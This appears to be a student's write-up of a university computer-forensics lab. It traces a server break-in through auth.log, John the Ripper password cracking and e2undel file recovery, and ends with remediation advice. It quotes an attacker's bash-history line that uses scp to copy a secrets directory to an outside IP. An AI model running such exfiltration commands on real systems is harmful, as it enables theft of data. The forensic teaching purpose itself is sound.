**Computer Forensics**

**Created by: Peter A. H. Peterson and Dr. Peter Reiher, UCLA {pahp, reiher}@cs.ucla.edu**

1. whether you think the server was indeed compromised
   * if so, how? if not, what *actually* happened?
   * give a blow-by-blow account if possible -- the more detail, the better!

The /var/log/auth.log gives us the information we need. The IP address 193.252.122.1 was used to hack three separate accounts. The attacker tried attacking accounts of john, Fred and finally succeeded in cracking into mike’s account.

Targets for attacker: john, fred, mike, jane and jake

Compromised user(possible): mike

Used john the ripper to crack the password of others by logging into currently compromised mike’s profile

John the ripper has successfully brute forced the passwords for john, fred and jake

1. whether you think the attacker accessed any sensitive information

Yes, the attacker has also managed to copy some data to his/her machine.

Here is the proof from user jake’s .bash\_history that the secrets files where compromised.

scp -r /secrets .

ls

scp -r secrets d000d@207.92.30.41 :~/

1. your recovery of any meaningful data

Using e2undel, the software was able to detect 179 files available for recovery.

|==================================================|

175369 inodes scanned, 179 deleted files found

user name | 1 <12 h | 2 <48 h | 3 <7 d | 4 <30 d | 5 <1 y | 6 older

-------------+---------+---------+---------+---------+---------+--------

root | 0 | 0 | 11 | 0 | 0 | 1

1002 | 0 | 0 | 183 | 0 | 0 | 0

1. a discussion of what should be done before returning the system to production
   * For example, is it good enough to delete the obvious files? Could the system be trojaned?

1. remove /home/jake/.elinks

- the .elinks folder can be used as server for text based a text based browser

2. remove /secrets/other/newsecret.data file

- added by the attacker by using

cat secret3.data >> newsecret.data

cat secret3.data >> newsecret.data

cat secret2.data >> newsecret.data

3. reset the password of all users

- since the attacker might have possibly cracked the other users password since he/she has access to the/etc/passwd file

a full chkrootkit scan on the disk showed there were no rootkits or other known malware infections in the disk, so the system could not be trojaned.

1. recommendations as to how they can keep this from happening again

Primary suggestions would include:

1. .Incorporating shadow file requiring higher user privileges for read access is a good idea.

2. A stronger password requirement, along with length restrictions would help. Having noted the point of entry, the vulnerability was because of easily cracked, the password used by mike and further john the ripper was penetrable by using brute force attacks

3. Absence of shadow file and using same salt for hashing all user passwords

ls -l ~/sda1/etc/passwd

-rw-r--r-- 1 root root 1519 Sep 10 04:22 /users/sc530cb/sda1/etc/passwd

showed that the hashed passwords are available in read access for virtually anyone who got access to the system

1. an estimate on how long this assignment took you

3 hours or so.